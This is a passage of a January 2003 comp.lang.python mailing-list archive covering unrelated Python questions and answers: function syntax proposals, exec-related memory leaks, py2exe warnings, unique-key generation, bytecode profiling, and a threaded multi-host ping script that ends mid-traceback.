print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From joost_jacob at hotmail.com  Thu Jan 30 13:29:46 2003
From: joost_jacob at hotmail.com (J.Jacob)
Date: 30 Jan 2003 10:29:46 -0800
Subject: Extended function syntax
Message-ID: <13285ea2.0301301029.695d9f4b@posting.google.com>

There is a thread on the python-dev mailing list about extended
function syntax.  It would look something like::

  def name(args,...)[expr1, expr2, ...]:
      ...body...

This made me think about the problems I encountered with implementing
UML statecharts, the kind with triggers and guards.  The transitions
from one state into another look like::

    trigger[condition]/statements
  .------------------------------->.

This is for Mealy state machines.  There are also mathematically
equivalent Moore machines without statements (they are executed when
entering a new state).  The semantics of ``trigger[condition]`` is
such that the transition is only taken when condition is true.

To implement behavior modeled by such a statechart you can take method
names with parameters as triggers, and then put lots of::

  if condition then: statements

in the method bodies.  But such code looks really ugly.

How about using the new syntax to more easily code conditions on
triggers?

There is a lot of work going on in the academic computer science
community that uses XMI to store UML models in, including behavioral
models like statecharts.  Perhaps the extended function syntax could
help to create a tool that automatically translates XMI to class
definitions?

There are lots more possibilities.  One scenario would be to help code
"asynchronous signals" more easily.  This could be something like a
"signal handler" mentioned in the [condition] part.

These are just some ideas.  I have full confidence in Guido thinking
of better ideas and making the best decisions in language design, like
he has shown us before.



From ngps at netmemetic.com  Wed Jan  8 01:00:44 2003
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 8 Jan 2003 06:00:44 GMT
Subject: Python vs .Net (
References: <mailman.1041982992.14279.python-list@python.org> <Pine.GSO.4.21.0301081443160.4782-100000@supreme.pcug.org.au>
Message-ID: <avgeqc$55m$1@reader01.singnet.com.sg>

According to Avery Andrews  <andrews at pcug.org.au>:
> 'twould be odd for USA-ans to be looking to Latin
> America and China for the defense of freedom, but such is life ...

Why is it odd?

The turtle moves. The disc turns. 


-- 
Ng Pheng Siong <ngps at netmemetic.com> * http://www.netmemetic.com




From t.evans at paradise.net.nz  Sat Jan 18 06:00:37 2003
From: t.evans at paradise.net.nz (Tim Evans)
Date: Sat, 18 Jan 2003 11:00:37 GMT
Subject: Repositoryserver module
References: <mailman.1041984248.5032.python-list@python.org>
Message-ID: <87n0ly90yy.fsf@cassandra.evansnet>

andy <andy at eastonwest.co.uk> writes:

> Here's the repository server code I've been working on.
> 
> After thinking a bit more about the name I chose, I now feel that
> Scoreboard or Whiteboard would be more appropriate.
> 
> Please bear in mind that it's really *very* primitive at this time,
> and a bit shaky in (possibly many) places.  I've only just got my
> head around socket programming, so I've probably made some stupid
> blunders here and there.
> 
> I have plans to build upon this to add features such as:
> authentication, security, pickling, persistency, separate
> name-spaces and so on.  The eval() style conversion of the request
> keys will be replaced with something less dangerous, or at least
> vetted for safety some how...

You may want to look at Pyro (http://pyro.sourceforge.net/) as a
high-level way of implementing this type of thing.  It would be a
simple way to implement all the things that you are thinking about
except for persistence.

Of course, doing it yourself can be fun too, and you can learn lots
about socket programming.

-- 
Tim Evans



From martin at v.loewis.de  Mon Jan 27 12:44:15 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 27 Jan 2003 18:44:15 +0100
Subject: Please Recommend a C compiler for use with Python.
In-Reply-To: <mailman.1043682834.15953.python-list@python.org>
References: <3E35513E.6D5CE8B5@lvcm.com> <mailman.1043682834.15953.python-list@python.org>
Message-ID: <b13r58$82q$04$2@news.t-online.com>

Skip Montanaro wrote:
>     z> I use a generic PC running Win 98.  What's a good, Easy-to-use and
>     z> install, ANSI C compiler?  I might mention that I mainly want to
>     z> extend Python by writing routines in C.
> 
> You might try Cygwin.

I'm not so sure that this is a good choice when it comes to extending 
Python. If the standard Python distribution is to be extended, you 
really should use MSVC 6 (if you can still get copies of that).

Regards,
Martin





From mrsinger at usa.net  Wed Jan  8 09:11:28 2003
From: mrsinger at usa.net (Matt Singer)
Date: 8 Jan 2003 06:11:28 -0800
Subject: Console stall
References: <e62b26d3.0301050830.5ee03a0c@posting.google.com> <pt0S9.4717$LY2.270691@newsc.telia.net>
Message-ID: <e62b26d3.0301080611.24c1904e@posting.google.com>

Thanks!


"Fredrik Lundh" <fredrik at pythonware.com> wrote in message news:<pt0S9.4717$LY2.270691 at newsc.telia.net>...

> sounds like you've enabled "quick edit mode" for your console windows.
> in this mode, clicking in the window does the same thing as "edit/mark";
> that is, it blocks output, changes the console title, and waits for you to
> mark some text.
> 
> to switch it off, use the "properties/option" panel (which you can find
> via the console's window menu)
> 
> see also (random google link):
> 
>     http://windows.about.com/library/tips/bltip129.htm
> 
> </F>



From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Fri Jan 24 09:35:15 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Fri, 24 Jan 2003 15:35:15 +0100
Subject: xml.sax -> unicode list???
In-Reply-To: <mailman.1043413964.20896.python-list@python.org>
References: <mailman.1043413964.20896.python-list@python.org>
Message-ID: <3e314daf$0$49100$e4fe514c@news.xs4all.nl>

jubafre at brturbo.com wrote:
> 
>>>>[u'05', u'Bocas Ordinarias', u'Quatro', u'02', u'Chegou a Hora de Recomecar',
> u'05', u'O melhor do pagode de mesa', 'da']
> 
>>>>type(lista2[0])
> 
> <type 'unicode'>
> 

> why the type of the list is unicode??/?

It isn't. You are printing the type of the first element in the list, 
lista2[0]. This is an unicode string :-)

 >>> a=[u'text']
 >>> type(a)
<type 'list'>
 >>> type(a[0])
<type 'unicode'>
 >>>

Irmen de Jong




From bokr at oz.net  Fri Jan 10 23:12:11 2003
From: bokr at oz.net (Bengt Richter)
Date: 11 Jan 2003 04:12:11 GMT
Subject: syntax for preset locals without using dummy args with defaults
References: <avmoeu$v8p$0@216.39.172.122> <dqycnYAwFISbyIKjXTWc2Q@comcast.com>
Message-ID: <avo5ir$m9h$0@216.39.172.122>

On Fri, 10 Jan 2003 18:15:00 -0500, "Terry Reedy" <tjreedy at udel.edu> wrote:

>
>"Bengt Richter" <bokr at oz.net> wrote in message
>news:avmoeu$v8p$0 at 216.39.172.122...
>> Yet another idea ;-)
>>
>> Right now we often see
>>
>>     def foo(x, y=default, z=some_expression):
>>         ...
>>
>> where the purpose is not to have three parameters, but two
>> plus a local binding (z) in foo to the value of some_expression
>> evaluated in the def-time environment. z may bind something not
>> accessible later at call time, or it may be just to avoid
>recalculating
>> an expensive expression at each function call.
>>
>> The subject line idea amounts to using the same parameter list
>mechanisms,
>> but not incrementing argcount
>
>+1/2 on idea
>
>(ok, a little more complex, but that's the
>> essence) Thus:
>>     def foo(x, y=default)(z=some_expression):
>
>-1/2 on this syntax.  I would prefer ';' instead of ',' to mark end of
>run-time variable params and start of define-tine fixed params.  Have
>no idea how difficult it would be to have compiler differentiate
>between this and ';' as statement separator.
I don't think too bad, the parameter list is a special context where ';' is
a syntax error now.

>
Let's see how that looks:

    def foo(x, y=default; z=some_expression):

Not bad ;-)


>>For longer lists of initializations, it is helpful that parens allow
>putting things on multiple lines
>
>One set of parens already does this.
True

Regards,
Bengt Richter



From randall_young at hotmail.com  Sat Jan 18 09:18:26 2003
From: randall_young at hotmail.com (Randy Young)
Date: 18 Jan 2003 06:18:26 -0800
Subject: Searching for solution: Severe memory leak, HELP!
Message-ID: <8338c7cc.0301180618.5c67da85@posting.google.com>

Sirs,

I have a very large Python application squarely in my lap, that's
leaking almost 20mb of main memory an hour!

I spent most of last night looking through various postings, and not
surprisingly, I'm wondering if I have a "circular reference" at work.
Specifically, something happening with the heavy use of the "exec"
library call.

Here's a code snippet, can anyone see anything grievously wrong? I
understand that we may need to look at WHAT is being "exec'd", but I
thought this might be a place to start...


---- CODE BEGINS

			
#import the module, then execute the probe
  where = 'import'
  win32event.WaitForSingleObject(self.iSemaphore, win32event.INFINITE)
    try:
      exec ("import %s" % probeInfo['ImportName'])
    except Exception, e:
      ret = "Import error on " + str(probeInfo['ImportName']) + " " +
str(e)
      self.ExceptOut(e, 'Exception importing Probe ID ' +
str(probeInfo['ID']))
    win32event.ReleaseSemaphore(self.iSemaphore, 1)

    if (ret == None):			
      where = 'exec'
      try:
	s = "ret = %s.%s (probeInfo)" % (probeInfo['ImportName'],
probeInfo['Invoke'])
        exec (s)

# ... much more yada-yada ...

---- CODE ENDS
     
As you can see there are "exec(s)" all over the place in the module,
one mistake would be magnified many times! I'm trying to understand if
I should be forcing a garbage collection or some other obvious thing?

Thanks in advance for the consideration of a reply.

Regard,

Randy



From spahievi at vega.bg  Mon Jan 27 15:52:16 2003
From: spahievi at vega.bg (Niki Spahiev)
Date: Mon, 27 Jan 2003 22:52:16 +0200
Subject: Slurping Web Pages
In-Reply-To: <8a27e309.0301270928.515c38f0@posting.google.com>
References: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>
 <FuQY9.5691$qb1.2425@nwrddc01.gnilink.net>
 <8a27e309.0301270928.515c38f0@posting.google.com>
Message-ID: <9012281399.20030127225216@vega.bg>

1/27/2003, 19:28:21, R.Marquez wrote:

RM> I have recently began looking at going this route for a different
RM> reason.  I am trying to use ie's authentication mechanism to be able
RM> to get through our Windows proprietary authentication method.  I had a
RM> thread started about this a while back if you are interested here is
RM> the link:

There is python 'NTLM Authorization Proxy Server'. google for
aps098.zip

-- 
Best regards,
 Niki Spahiev





From brian at sweetapp.com  Wed Jan  8 04:11:14 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Wed, 08 Jan 2003 01:11:14 -0800
Subject: Python vs .Net
In-Reply-To: <v1ni31d5mh5id8@corp.supernews.com>
Message-ID: <012a01c2b6f5$e537b030$21795418@dell1700>

> Sorry - but my math is a bit rusty - wouldn't a matrix just be an
array
> of floats (or maybe complex numbers), that would seem to be a pretty
> straightforward definition and one that wouldn't impose an undo burden
> on using the routine.

A typical definition might be:

typedef float[4][4] matrix

But what if I want it to work with doubles? Or I do have a different
implementation of matrix that uses a single array of 16 floating point
types.


 
> > > Now regardless if we're talking about "+" or Add, I think that we
> can
> > > both agree on what to expect if both a & b are Integers or
Strings.
> > > What if one is an integer & one is a string, however.  What if the
> > > string has a numeric value?  What if we have an Integer and a
Float.
> >
> > It makes mathematical sense for integers and reals to be addable
> because
> > the set of integers is a subset of the set of reals.
> >
> > Strings and integers are quite unrelated.
> 
> Actually what I was trying to infer with this, and the reference to
the
> PEP later on, is that if you add 2 integers, I would expect an integer
> result. 

That's what you get.
> What kind of result would you get when adding an integer and a
> float?  Neither Python nor VB has any problems with that  & doesn't
> require a specific cast - I think that it's called 'promotion' or
> something like that in VB, where 2 compatible (but different type)
> arguments can be mixed and the result is in the form of the argument
> with the larger 'scale'(?)

If you have a hierarchy like this:

A
|___
B   C
|
D

If you add a C instance and a D instance, it would make sense that the
result is an A instance, because that is that the common base of the two
types.

Cheers,
Brian





From cben at techunix.technion.ac.il  Sun Jan 19 09:12:03 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Sun, 19 Jan 2003 16:12:03 +0200
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <mailman.1042817433.6322.python-list@python.org>
References: <mailman.1042817433.6322.python-list@python.org>
Message-ID: <Pine.GSO.4.44_heb2.09.0301191441590.20859-100000@techunix.technion.ac.il>

On 2003-01-17, Tim Peters wrote:

> [Ville Vainio]
> > Of course, there is still the embarrassing issue of the list
> > comprehension variable not being local to the list comprehension. Why,
> > oh why won't people pre-deprecate it... at least in the documentation.
> > Any hope to get it into the tutorial/lang reference for 2.3 :)?
>
> [Erik Max Francis]
> > Probably for the same reason that other iterative constructs that
> > introduce variables don't make them local to that structure either:
> >
> > >>> [x for x in range(10)]
> > [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
> > >>> x
> > 9
> > >>> for y in range(10): print y,
> > ...
> > 0 1 2 3 4 5 6 7 8 9
> > >>> y
> > 9
>
> That's right, and is really all there is to it.Guido wanted
>
>   [f(x) for x in whatever]
>
> to act "exactly like"
>
>   result = []
>   for x in whatever:
>       result.append(f(x))
>
> At the time, lexical nesting didn't yet exist in Python either.The case
> for "magically local" bindings has gotten stronger since lexical nesting was
> added, but now we've got a backwards compatibility burden too.
>
There is one central use for leaving the binding alive in for loops: when
you can exit it prematurely and want to record where you did.  This is one
thing missing from list comprehensions - a way to break in the middle.
Perhaps one day a syntax for that will be added.  Especially needed when
iterating over infinite interators (generator comprehensions could
actually be better here).  If yes, then magically local bindings are a bad
idea.  The irony is that I can't seem to think of any better syntax than
``[f(x) for x in whatever while x > 0]`` which breaks the exact
equivallence with statements (the ``while x > 0`` clause should is
equivallent to ``if not x > 0: break``) :-(.

> Note that the C-ish
>
>   if ((y = f(x) != whatever)
>       do something with y
>
> can be simulated now via
>
>   if [y for y in [f(x)]][0] != whatever:
>       do something with y
>
> as is.  I hope to God nobody is doing that in real life,

Ouch.  The assignment looks dirty.  But I do use the ``for y in [f(x)]``
thing all the time because frequently my comprehensions are more readable
when I introduce intermediate bindings.  I really miss CL's ``for y =
expr`` syntax in loop (see http://www.ai.sri.com/~pkarp/loop.html and
http://www.supelec.fr/docs/cltl/clm/node247.html#SECTION003090000000000000000).

And here is a new use for the assignment clause:

>>> [sum for sum in [0]
...      for x in range(10)
...      for sum in [sum + x]]
[0, 1, 3, 6, 10, 15, 21, 28, 36, 45]

I have reached obfuscation^H^H^H^Henlightenment!  Finally, I know write
reduce comprehensions (add ``[-1]`` at the end)!  But wait, don't listen
to me, I don't want comprehensions to have as many clasuses as CL's loop
(that's more than all Python statements together :-)...

??? [sum for sum = 0
         for x in range(10)
         for sum = sum + x]  # sum += x ?

Oh, I can do without a break construct in comprehensions, except that I
lose speed:

>>> [x for flag in [1]
...    for x in range(10)
...    if flag
...       for flag in [x < 7]]
[0, 1, 2, 3, 4, 5, 6, 7]

Pretty cryptic.  (In this case the ``if flag`` is redudant but in more
general cases if would make sure no more values are produced.

Seriously, though, my biggest wish in this field are generator
comprehensions.

> but then I never expected anyone to do
>
>   (f() and [g()] or [h()])[0]
>
> in real life either <0.5 wink>.
>
That should be written ``f() and g() else h()`` <wink>.

lets-add-x,y-for-x-in-possible-syntaxes-for-y-in-possible-uses ly y'rs,
    Beni Cherniavsky <cben at tx.technion.ac.il>




From donn at drizzle.com  Thu Jan 23 02:35:20 2003
From: donn at drizzle.com (Donn Cave)
Date: Thu, 23 Jan 2003 07:35:20 -0000
Subject: Alternative to os.listdir()/os.stat()
References: <mailman.1043304821.26500.python-list@python.org>
Message-ID: <1043307319.411164@yasure>

Quoth "Alfredo P. Ricafort" <alpot at mylinuxsite.com>:
| I'm trying to get the files under a directory and its details. What  I
| did is to call os.listdir() and then os.stat(). So my code looks
| something like this:
|
|
|     fileList=os.listdir(path)
|     for i in range(len(fileList)):
|         f=os.stat(path+'/'+j)
|
| However, I noticed that this approach takes a long time when the
| directory contains lots of files. So what I am looking for now is a
| function that can give me the details is one go, much like 'ls -ltra' in
| UNIX. 
|
| Does one exists?

Nope!  I think more specifically what would work here is if listdir()
were to return the inode as well as the name of each file, and if there
were some way to stat a file by inode rather than name.  This would
eliminate 1 directory read per file.  However, neither of those conditions
are met here - listdir() doesn't return the inode, and anyway you couldn't
use it.

You can probably get some modest improvement in execution time, if you
chdir(path) first, and then stat(j).  The way you write it causes parent
directories to be read once for every file too.

	Donn Cave, donn at drizzle.com



From fgeiger at datec.at  Sat Jan  4 10:57:10 2003
From: fgeiger at datec.at (F. GEIGER)
Date: Sat, 4 Jan 2003 16:57:10 +0100
Subject: Program using gnosis utils cannot be py2exe'ed?
Message-ID: <3e170b7a@news.swissonline.ch>

I'd like to compress a Python program into an exe. My .bat and .py file for
doing so are:

PyDyC.Setup.bat:

PyDyC.Setup.py py2exe -w -p gnosis
pause


PyDyC.Setup.py:

# setup.py
from distutils.core import setup
import py2exe

setup(name="PyDyC", scripts=["main.py"])


py2exe is reporting:

<snip/>
warning: py2exe:
*************************************************************************
warning: py2exe: * The following modules were not found:
warning: py2exe: *   gnosis.xml.pickle.util.subnodes
warning: py2exe: *   clip_dndc
warning: py2exe: *   gnosis.xml.pickle.util.remove_class_from_store
warning: py2exe: *   streamsc
warning: py2exe: *   stattoolc
warning: py2exe: *   gnosis.xml.pickle.util.setDeepCopy
warning: py2exe: *   gnosis.xml.pickle.util.unpickle_function
warning: py2exe: *   mdic
warning: py2exe: *   windowsc
warning: py2exe: *   gnosis.xml.pickle.util.safe_eval
warning: py2exe: *   gnosis.xml.pickle.util.getParser
warning: py2exe: *   gnosis.xml.pickle.ext.XMLP_Mutated
warning: py2exe: *   gnosis.xml.pickle.util.safe_string
warning: py2exe: *   gnosis.xml.pickle.util.setInBody
warning: py2exe: *   gnosis.xml.pickle.util.getParanoia
warning: py2exe: *   gnosis.xml.pickle.util.unsafe_content
warning: py2exe: *   windows3c
warning: py2exe: *   gnosis.xml.objectify.ALWAYS
warning: py2exe: *   gnosis.xml.objectify.EXPAT
warning: py2exe: *   gnosis.xml.pickle.ext.unmutate
warning: py2exe: *   Splitter
warning: py2exe: *   gnosis.xml.pickle.util.setVerbose
warning: py2exe: *   xml.dom.HierarchyRequestErr
warning: py2exe: *   gnosis.xml.objectify.DOM
warning: py2exe: *   gnosis.xml.pickle.util.get_class_from_store
warning: py2exe: *   gnosis.xml.pickle.util.get_class_from_name
warning: py2exe: *   gnosis.xml.pickle.XML_Pickler
warning: py2exe: *   gnosis.xml.pickle.ext.XMLP_Mutator
warning: py2exe: *   gdic
warning: py2exe: *   gnosis.xml.objectify.keep_containers
warning: py2exe: *   gnosis.xml.pickle.util.get_class_from_stack
warning: py2exe: *   controls2c
warning: py2exe: *   misc2c
warning: py2exe: *   ic
warning: py2exe: *   controlsc
warning: py2exe: *   mx.DateTime.tz_offset
warning: py2exe: *   py2html
warning: py2exe: *   gnosis.xml.pickle.util.get_function_info
warning: py2exe: *   gnosis.xml.pickle.util.getDeepCopy
warning: py2exe: *   mxTextTools.__version__
warning: py2exe: *   gnosis.xml.pickle.ext.mutate
warning: py2exe: *   gnosis.xml.pickle.ext.get_unmutator
warning: py2exe: *   gnosis.xml.pickle.util.obj_from_name
warning: py2exe: *   TextTools
warning: py2exe: *   gnosis.xml.pickle.util.safe_content
warning: py2exe: *   gnosis.xml.pickle.util.setParser
warning: py2exe: *   cmndlgsc
warning: py2exe: *   miscc
warning: py2exe: *   gnosis.xml.pickle.util.add_class_to_store
warning: py2exe: *   gnosis.xml.pickle.ext.try_mutate
warning: py2exe: *   _curses
warning: py2exe: *   dmTxt2Html
warning: py2exe: *   gnosis.xml.pickle.util.setParanoia
warning: py2exe: *   SOCKS
warning: py2exe: *   gnosis.xml.pickle.dumps
warning: py2exe: *   gnosis.xml.pickle.util.enumParsers
warning: py2exe: *   printfwc
warning: py2exe: *   gnosis.xml.pickle.util._module
warning: py2exe: *   gnosis.xml.pickle.ext.can_mutate
warning: py2exe: *   gnosis.xml.pickle.util.getVerbose
warning: py2exe: *   gnosis.xml.pickle.ext.can_unmutate
warning: py2exe: *   gnosis.xml.pickle.parsers._cexpat
warning: py2exe: *   rourl2path
warning: py2exe: *   gnosis.xml.pickle.util.get_class_from_vapor
warning: py2exe: *   eventsc
warning: py2exe: *   gnosis.xml.objectify.NEVER
warning: py2exe: *   gnosis.xml.pickle.util.unsafe_string
warning: py2exe: *   mxDateTime.__version__
warning: py2exe: *   filesysc
warning: py2exe: *   imagec
warning: py2exe: *   gnosis.xml.objectify.MAYBE
warning: py2exe: *   gnosis.xml.pickle.util.getInBody
warning: py2exe: *   gnosis.xml.pickle.util._EmptyClass
warning: py2exe: *   gnosis.xml.pickle.util._klass
warning: py2exe: *   framesc
warning: py2exe: *   gnosis.xml.objectify.XML_Objectify
warning: py2exe: *   Numeric
warning: py2exe: *   mxTypographify
warning: py2exe: *   sizersc
warning: py2exe: *   gnosis.xml.pickle.loads
warning: py2exe: *   windows2c
warning: py2exe: *   gnosis.xml.pickle.util.get_class_full_search
warning: py2exe: *   os.path
warning: py2exe: *   simpleparse
warning: py2exe:
*************************************************************************
<snip/>


What did I miss?


Many thanks in advance and best regards
Franz GEIGER


P.S.: Win2k, ActivePython 2.1.3, gnosis 1.0.5, py2exe 0.3.3.






From aahz at pythoncraft.com  Sat Jan  4 22:21:41 2003
From: aahz at pythoncraft.com (Aahz)
Date: 4 Jan 2003 22:21:41 -0500
Subject: threading module
References: <3E179E26.804C267A@dfsdfssdfa.invalid>
Message-ID: <av88c5$evm$1@panix2.panix.com>

In article <3E179E26.804C267A at dfsdfssdfa.invalid>,
Jive Dadson  <jsdfadfasfsda at dfsdfssdfa.invalid> wrote:
>
>Can anyone tell me who wrote the threading module?  There are some
>aspects of it that I would like to discuss.

Many people contributed, but Guido and Tim Peters probably did the most
actual work.  However, bugging them privately is likely to be
counter-productive; if you have issues that you want to bring up, this
is the place.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"There are three kinds of lies: Lies, Damn Lies, and Statistics."  --Disraeli



From skip at pobox.com  Wed Jan  1 15:13:44 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 1 Jan 2003 14:13:44 -0600
Subject: Quick tutorial on using the unicodedata module?
In-Reply-To: <nlh61vc31lulq5l02mnlesvl1q4kh4hham@4ax.com>
References: <mailman.1041379026.27989.python-list@python.org>
        <m3vg192w2y.fsf@mira.informatik.hu-berlin.de>
        <nlh61vc31lulq5l02mnlesvl1q4kh4hham@4ax.com>
Message-ID: <15891.19448.275804.787922@montanaro.dyndns.org>

    Christos> Would this help at all?
    ...

Yeah, thanks...

    >>> [(x,y) for (x,y) in unicode_names if y.lower().find("ellipsis") != -1]
    [(3759, 'LAO ELLIPSIS'), (6145, 'MONGOLIAN ELLIPSIS'),
     (8230, 'HORIZONTAL ELLIPSIS'), (8942, 'VERTICAL ELLIPSIS'),
     (8943, 'MIDLINE HORIZONTAL ELLIPSIS'),
     (8944, 'UP RIGHT DIAGONAL ELLIPSIS'),
     (8945, 'DOWN RIGHT DIAGONAL ELLIPSIS')]

Skip




From phr-n2003b at NOSPAMnightsong.com  Tue Jan 28 18:07:21 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 15:07:21 -0800
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com> <mailman.1043789331.15950.python-list@python.org>
Message-ID: <7xfzrcx49i.fsf@ruckus.brouhaha.com>

Chad Netzer <cnetzer at mail.arc.nasa.gov> writes:
> > If you've got a source of good random numbers, you can just use them
> > directly as tokens and not need this hashing stuff.
> 
> ??? - Surely you must assume that Trevor was talking about normal 
> pseudo-random number generators (not cryptographically secure, or true 
> entropy based random numbers; Trevor, am I correct?).  The point is 
> that one is not always sure of the "randomness" of numbers on different 
> platforms, and simple pseudo-random number generators are generally 
> much more prevalent.

I thought he meant cryptographically secure random numbers, or at
least unguessable ones.

> In general, for these types of things, the approach I've seen and heard 
> of most is to use a random (ideally truly random) starting secret, and 
> chains of cryptographic hash sequences (with periodic re-seeding).

Yes, that would count as secure random numbers and most OS's these
days include services to provide them.  It would be really good if
Python had a standard library call to use those services.



From skip at pobox.com  Mon Jan 13 12:15:50 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 13 Jan 2003 11:15:50 -0600
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
In-Reply-To: <avuriu$e55$0@216.39.172.122>
References: <mailman.1042403841.24976.python-list@python.org>
        <7x8yxqxeav.fsf@ruckus.brouhaha.com>
        <c76ff6fc.0301130206.ca90ba2@posting.google.com>
        <xpudnbPQNdfpfb-jXTWcpw@comcast.com>
        <avuriu$e55$0@216.39.172.122>
Message-ID: <15906.62534.922626.157623@montanaro.dyndns.org>

    Bengt> I.e., it should be simple to instrument ceval.c to extern link to
    Bengt> a temp module with an integer array indexed by byte code value to
    Bengt> increment for statistics.  

You can already do this.  Simply define DYNAMIC_EXECUTION_PROFILES (and
optionally DXPAIRS) when building Python.  I believe only ceval.c and
sysmodule.c need to be rebuilt.  Once built, you can call sys.getdxp() at
any time during program execution to retrieve the byte code execution
frequency array.  If you define DXPAIRS as well as
DYNAMIC_EXECUTION_PROFILES you get a 2-D list (list of lists) instead of a
simple list identifying adjoining pairs of byte code instructions.  This is
probably what you want for this task, as it will tell you how often a
conditional jump is followed by a POP_TOP, not just how many POP_TOP
instructions are executed.

Skip




From dhostetler at sopris.net  Mon Jan  6 13:59:13 2003
From: dhostetler at sopris.net (.d.hos)
Date: 6 Jan 2003 10:59:13 -0800
Subject: ping multiple Ips with python
References: <8db020b9.0301031420.25e56f3b@posting.google.com> <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com> <mailman.1041650767.29913.python-list@python.org>
Message-ID: <8db020b9.0301061059.73f989eb@posting.google.com>

Gerhard Haering <gerhard.haering at gmx.de> wrote in message news:<mailman.1041650767.29913.python-list at python.org>...
> * darrell <dgallion1 at yahoo.com> [2003-01-04 03:07 +0000]:
> > Multiple ping sounded like fun.
> 
> Indeed :)
> 
> > So here's a quick mod to some ping code I found.
> 
> I'll try to look at it. I've meanwhile come up with this piece of code
> (unfortunately I can't sucessfully kill the pings, the os.kill only kills the
> 'sh' processes from popen2.Popen3:
> 
> If nothing else, the original poster might benefit from the example of using
> Queue.Queue with *one* database logger thread.
> 
> #v+
> import threading
> import os, popen2, select, signal
> import Queue
> import time
> 
> from pyPgSQL import PgSQL
> 
> # (PostgreSQL) database schema:
> # CREATE TABLE LOG(ADDRESS INET, UP BOOL);
> 
> HOST_UP = 1
> HOST_DOWN = 0
> 
> PING_INTERVAL = 5
> 
> def log(s):
>     print s
> 
> class Pinger(threading.Thread):
>     def __init__(self, queue, address, *args, **kwargs):
>         self.address = address
>         self.queue = queue
>         threading.Thread.__init__(self, *args, **kwargs)
>         self.stop = 0
> 
>     def run(self):
>         child = popen2.Popen3("ping -i %i %s 2>&1" % (PING_INTERVAL, self.address))
>         log("started child %i" % child.pid)
>         while 1:
>             ready_fds = select.select([child.fromchild], [], [])
> 
>             line = child.fromchild.readline()
>             if line.find("Host is down") >= 0:
>                 log("host %s is down" % self.address)
>                 self.queue.put((self.address, HOST_DOWN))
>             else:
>                 log("host %s is up" % self.address)
>                 self.queue.put((self.address, HOST_UP))
>             
>             if self.stop:
>                 os.kill(child.pid, signal.SIGTERM)
>                 log("killed child %i." % child.pid)
>                 break
> 
> class DbLogger(threading.Thread):
>     def __init__(self, queue, *args, **kwargs):
>         self.stop = 0
>         self.queue = queue
>         threading.Thread.__init__(self, *args, **kwargs)
> 
>     def run(self):
>         con = PgSQL.connect()
>         cursor = con.cursor()
>         while 1:
>             if self.stop:
>                 con.close()
>                 break
> 
>             item = self.queue.get()
>             cursor.execute("INSERT INTO LOG(ADDRESS, UP) VALUES (%s, %s)",
>                 (item[0], PgSQL.PgBoolean(item[1])))
>             con.commit()
>             log("committed.")
> 
> def main():
>     pinglist = ["127.0.0.1", "192.168.0.1", "192.168.2.1", "192.168.2.10", "192.168.2.11"]
>     threads = []
>     queue = Queue.Queue()
>     for adr in pinglist:
>         threads.append(Pinger(queue, adr))
> 
>     threads.append(DbLogger(queue)) 
> 
>     for thread in threads:
>         thread.start()
> 
>     try:
>         while 1:
>             time.sleep(1)
>             log("in main loop.")
>     except KeyboardInterrupt:
>         pass
> 
>     for thread in threads:
>         thread.stop = 1
> 
>     for thread in threads:
>         thread.join(2.0)
> 
>     # Ok, I've had enough of you stupid threads.
>     os._exit(0)
> 
> if __name__ == "__main__":
>     main()
> #v-
> 
> If you try this out and are annoyed by the remaining 'ping' processes, here's a
> quick *cough* solution ;-)
> 
> #v+
> import os, signal, commands
> 
> s = commands.getoutput("ps aux|grep ping|grep -v grep")
> for line in s.split("\n"):
>     pid = int(line.split()[1])
>     os.kill(pid, signal.SIGKILL)
> #v-
> 
> Gerhard

Thanks to everyone for the code and suggestions,

Gerhard, I'm trying out your code, as mentioned in the inital post -
I'm fairly new to python, so please bear with me :)

Also, this application has to be run from a windows server, and i was
hoping to execute the script as cgi.

if your still interested, I've been going over the code and have
stripped out the db logging in efforts of getting the multi-threading
working. I'll modify the DbLogger() class to insert into msSQL after I
get the forementioned working...

Here's the stripped down version:
=======================================
import threading
import os, popen2, select, signal
import Queue
import time

HOST_UP = 1
HOST_DOWN = 0

PING_INTERVAL = 5

def log(s):
    print s

class Pinger(threading.Thread):
    def __init__(self, queue, address, *args, **kwargs):
        self.address = address
        self.queue = queue
        threading.Thread.__init__(self, *args, **kwargs)
        self.stop = 0

    def run(self):
        child = popen2.Popen3("ping -i %i %s 2>&1" % (PING_INTERVAL,
self.address))
        log("started child %i" % child.pid)
        while 1:
            ready_fds = select.select([child.fromchild], [], [])

            line = child.fromchild.readline()
            if line.find("Host is down") >= 0:
                log("host %s is down" % self.address)
                self.queue.put((self.address, HOST_DOWN))
            else:
                log("host %s is up" % self.address)
                self.queue.put((self.address, HOST_UP))
            
            if self.stop:
                os.kill(child.pid, signal.SIGTERM)
                log("killed child %i." % child.pid)
                break
				
def main():
    pinglist = ["127.0.0.1"]
    threads = []
    queue = Queue.Queue()
    
    for adr in pinglist:
        threads.append(Pinger(queue, adr))        

    for thread in threads:
        thread.start()

    try:
        while 1:
            time.sleep(1)
            log("in main loop.")
    except KeyboardInterrupt:
        pass

    for thread in threads:
        thread.stop = 1

    for thread in threads:
        thread.join(2.0)

    # Ok, I've had enough of you stupid threads.
    os._exit(0)

if __name__ == "__main__":
    main()
====================================
when I run the script, I get the following error:

Exception in thread Thread-1:
Traceback (most recent call last):
  File "I:\Python22\lib\threading.py", line 408, in __bootstrap
    self.run()
  File "I:\Python22\multi_ping.py", line 22, in run
